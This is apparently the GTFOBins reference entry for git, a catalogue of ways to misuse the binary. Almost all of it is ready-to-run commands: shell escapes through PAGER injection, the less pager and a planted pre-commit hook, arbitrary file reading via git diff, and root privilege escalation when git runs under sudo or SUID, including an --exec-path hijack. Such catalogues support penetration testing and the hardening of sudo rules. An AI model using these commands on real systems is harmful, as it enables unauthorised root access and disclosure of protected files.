GTFOBins.github.io/_gtfobins/git.md

---
functions:
  shell:
    - code: PAGER='sh -c "exec sh 0<&1"' git -p help
    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
      code: |
        git help config
        !/bin/sh
    - description: Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option.
      code: |
        TF=$(mktemp -d)
        git init "$TF"
        echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
        mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
        git -C "$TF" commit --allow-empty -m x
  file-read:
    - description: The read file content is displayed in `diff` style output format.
      code: |
        LFILE=file_to_read
        git diff /dev/null $LFILE
  sudo:
    - code: sudo PAGER='sh -c "exec sh 0<&1"' git -p help
    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
      code: |
        sudo git -p help config
        !/bin/sh
    - description: The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
      code: |
        sudo git branch --help config
        !/bin/sh
    - description: Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option.
      code: |
        TF=$(mktemp -d)
        git init "$TF"
        echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
        mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
        sudo git -C "$TF" commit --allow-empty -m x
    - description: If file creation is allowed, it can be used to change Git path
      code: |
        mkdir /tmp/git
        echo '/bin/bash' > /tmp/git/git-escalation
        chmod +x /tmp/git/git-escalation
        sudo git --exec-path=/tmp/git escalation
  limited-suid:
    - code: PAGER='sh -c "exec sh 0<&1"' ./git -p help
---